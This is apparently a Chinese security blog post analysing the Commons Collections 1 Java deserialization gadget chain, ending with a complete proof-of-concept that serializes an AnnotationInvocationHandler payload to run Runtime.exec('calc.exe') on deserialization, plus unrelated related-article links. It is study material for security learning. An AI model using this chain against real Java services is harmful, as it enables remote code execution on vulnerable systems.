[JavaWeb]反序列化分析(二)--CommonCollections1
反序列化分析(二)--CommonCollections1
链子分析
- 首先新建一个TransformedMap,其中二三参数为可控,后续要用到

- 当TransformedMap执行put方法时,会分别执行transformKey和transformValue方法

- 可以看到,两个方法中,都有transform方法,但参数不可控

- 找能触发InvokerTransform的transform方法,而且是无需借用外部传参的那种
分析cc链的时候,最大的体会就是分析可以,但不明白为什么可以想到这么绝的方法?火候不够.
- 可是要执行invokeTransform,那就又少不了外部传参加以控制..
先不管这个ChainedTransformer怎么想到的,就假设已经知道了这个可以把前一个结果当作后一个函数的参数就好了
- 那就说明,还要找一个transform实现类,能够返回Runtime

- 这个类可以返回一个对象,而imap为可控,所以只要知道了input的值,例如为trick,那么iMap['trick']就可以返回一个Runtime,从而可以完成既定目标(但这个还是要借助外部参数,但可行性较高,毕竟一般不会传Runtime作为键值对,但会传一个字符串,感觉又有点像php链子的找法了)
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
//创建一个含有Runtime的map
HashMap<String, Runtime> stringRuntimeHashMap = new HashMap<>();
stringRuntimeHashMap.put("Aur0ra", Runtime.getRuntime());
MapTransformer mapTransformer = (MapTransformer) MapTransformer.getInstance(stringRuntimeHashMap);
//传进去作为第一个transformer类
Transformer[] transformers = {
mapTransformer,
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap hashMap = new HashMap();
Map outerMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
outerMap.put("name","Aur0ra");
}

其中部分的数据需要同步
因为最后相当于是从那个map中获取指定键的值,所以map构造,以及put的时候,需要注意同步性
可以看到上面的确实可以利用,但前提是知道put的内容,还是有缺陷.所以看下下面官方给的链
这个是完全无需借助不可控变量的

返回的是类中的某个元素,所以是可控的,且与传进来的参数无关
public static void main(String[] args) {
Transformer[] transformers = {
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap hashMap = new HashMap();
Map outerMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
outerMap.put("name","Aur0ra"); //任意值,只要有put动作即可
}

- 至此,从TransformerMap->chainedTransformer->ConstantTransformer&InvokerTransformer这条链已经分析清楚了.
一遍下来,有些地方和php链还是相似的,只是说有些trick的跳度稍大,没有开发基础的,比较难以理解(比如我).
完善成可利用的POC
上面只是一个样例POC是手动触发的,现实中还需要一个会自动触发的点,对该Map进行写的操作.所以要先找一个类其中包含可控map,且存在自动触发的反序列化点.
在找AnnotationInvocationHandler的时候,用import导入一直显示没有,但都下了几个jdk,都没有都快放弃了,结果突然发现,标识它不是public类,所以无法被import导入,,,,直接整
- 序列化构造时可能遇到的问题
- AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2)的认知
- Runtime类没有实现序列化接口,无法完成序列化。

- 解决方案
- 该<? extends Annotation>代表需要是继承的子类,所以传的时候需要是子类对象的class
- 利用反射,借用InvokerTransformer,让Runtime在反序列化后形成。或者借用其他代码执行的类
- common-collections 3.2.2后加入了安全机制,这里我直接改成了3.1的cc
最终
利用条件
sun.reflect.annotation.AnnotationInvocationHandler的第一个参数不仅要是Annotation的子类,而且还要和后面的Map都拥有一个同名函数
java 8u71前版本,后面的版本中有修改,需要更换利用
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
/**
* 1.让Runtime在序列化后产生
* 2。采用其他方式进行命令执行
*/
/**
Method method = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) method.invoke(null);
r.exec("calc.exe");
*/
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, new Object[0]}), //返回一个Runtime
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap hashMap = new HashMap();
hashMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
/**
* AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2)
* 这里第一个参数需要是Annotation的子类
*/
Object o = constructor.newInstance(Retention.class, outerMap);
ObjectOutputStream ous = new ObjectOutputStream(new FileOutputStream("1.txt"));
ous.writeObject(o);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(o);
objectOutputStream.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}

总结
hashMap与transformer之间的渊源:一般添加新的值时,为了有一定的规则,这个时候需要用到转换(Transform)相关的东西进行转换。这就是为什么hashMap总是和transform之类的能联想到一起
- invokeTransform -- 能够执行命令
- ConstantTransform -- 不需要依赖参数,可以返回一个可控的内部属性
- chainedTransformer -- 能够将前面产生的结果作为后面的参数,和FilterChain相似
[JavaWeb]反序列化分析(二)--CommonCollections1的更多相关文章
- Java 序列化和反序列化(二)Serializable 源码分析 - 1
目录 Java 序列化和反序列化(二)Serializable 源码分析 - 1 1. Java 序列化接口 2. ObjectOutputStream 源码分析 2.1 ObjectOutputSt ...
- Java安全之SnakeYaml反序列化分析
Java安全之SnakeYaml反序列化分析 目录 Java安全之SnakeYaml反序列化分析 写在前面 SnakeYaml简介 SnakeYaml序列化与反序列化 常用方法 序列化 反序列化 Sn ...
- SNMP报文抓取与分析(二)
SNMP报文抓取与分析(二) SNMP报文抓取与分析(二) 1.SNMP报文表示简介 基本编码规则BER 标识域Tag表示 长度域length表示 2.SNMP报文详细分析(以一个get-respon ...
- Fresco 源码分析(二) Fresco客户端与服务端交互(1) 解决遗留的Q1问题
4.2 Fresco客户端与服务端的交互(一) 解决Q1问题 从这篇博客开始,我们开始讨论客户端与服务端是如何交互的,这个交互的入口,我们从Q1问题入手(博客按照这样的问题入手,是因为当时我也是从这里 ...
- yhd日志分析(二)
yhd日志分析(二) 继续yhd日志分析,统计数据 日期 uv pv 登录人数 游客人数 平均访问时长 二跳率 独立ip数 1 分析 登录人数 count(distinct endUserId) 游客 ...
- SQLite入门与分析(二)---设计与概念(续)
SQLite入门与分析(二)---设计与概念(续) 写在前面:本节讨论事务,事务是DBMS最核心的技术之一.在计算机科学史上,有三位科学家因在数据库领域的成就而获ACM图灵奖,而其中之一Jim G ...
- Linux内核启动代码分析二之开发板相关驱动程序加载分析
Linux内核启动代码分析二之开发板相关驱动程序加载分析 1 从linux开始启动的函数start_kernel开始分析,该函数位于linux-2.6.22/init/main.c start_ke ...
- 一些有用的javascript实例分析(二)
原文:一些有用的javascript实例分析(二) 5 求出数组中所有数字的和 window.onload = function () { var oBtn = document.getElement ...
- Android4.0图库Gallery2代码分析(二) 数据管理和数据加载
Android4.0图库Gallery2代码分析(二) 数据管理和数据加载 2012-09-07 11:19 8152人阅读 评论(12) 收藏 举报 代码分析android相册优化工作 Androi ...
随机推荐
- CF111A Petya and Inequiations 题解
Content 请找出一个由 \(n\) 个正整数组成的数列 \(\{a_1,a_2,\dots,a_n\}\),满足以下两种条件: \(\sum\limits_{i=1}^na_i^2\geqsla ...
- myeclipse 安装spket
myeclipse 安装spket为以下步骤 请注意:1.myPlugins为新建的文件夹 2.spket-1.6.23为新建的文件 如上步骤为安装spket,那么如下的步骤为让myeclipse里的 ...
- outlook2007邮件里的图片显示不出来
outlook2007邮件里的图片显示不出来,这是为啥? 以图片为附件的形式进行传送吧,这样在收件箱里就能在线看图片了,不用担心看不到图片
- c++指针函数和函数指针概述
欢迎指正 代码写的不够规范: 目的是缩短文章篇幅,实际中请注意 阅读完本文, 你一定能判断和写出:指针函数和函数指针. 0.结论 A.指针函数: 函数的返回值是指针类型 B.函数指针: 函数名是一个指 ...
- Windows10 c++获取网卡信息(ipv4,子网掩码,网关,mac地址)
关于 本文样式环境: win10 + vs2017 + c++11 1.说明 算是踩坑吧,先前一直认为一块网卡只能有一个IP. 今天发现结构体中,定义了相关结构: 一块网卡可以用多个IP. 2.连接库 ...
- Java不可变类与final类
概念 Java的不可变类是指八个基础类型的包装类和String,他们的数据成员是不可变的.使用加法等操作时,其实是创建了一个新的对象. Java的final类是对类用关键字final进行修饰,说明该类 ...
- Codeforces 919D:Substring(拓扑排序+DP)
D. Substring time limit: per test3 seconds memory limit: per test256 megabytes inputstandard: input ...
- Elasticsearch核心技术(五):搜索API和搜索运行机制
本文将从数据存储和搜索的角度简单分析Elasticsearch的搜索运行机制,主要涉及搜索API.搜索机制.存在问题和解决方案. 4.1 Search API Search API允许用户执行一个搜索 ...
- 「双串最长公共子串」SP1811 LCS - Longest Common Substring
知识点: SAM,SA,单调栈,Hash 原题面 Luogu 来自 poj 的双倍经验 简述 给定两字符串 \(S_1, S_2\),求它们的最长公共子串长度. \(|S_1|,|S_2|\le 2. ...
- EXPLAINING AND HARNESSING ADVERSARIAL EXAMPLES
目录 概 主要内容 从线性谈起 非线性 Goodfellow I, Shlens J, Szegedy C, et al. Explaining and Harnessing Adversarial ...
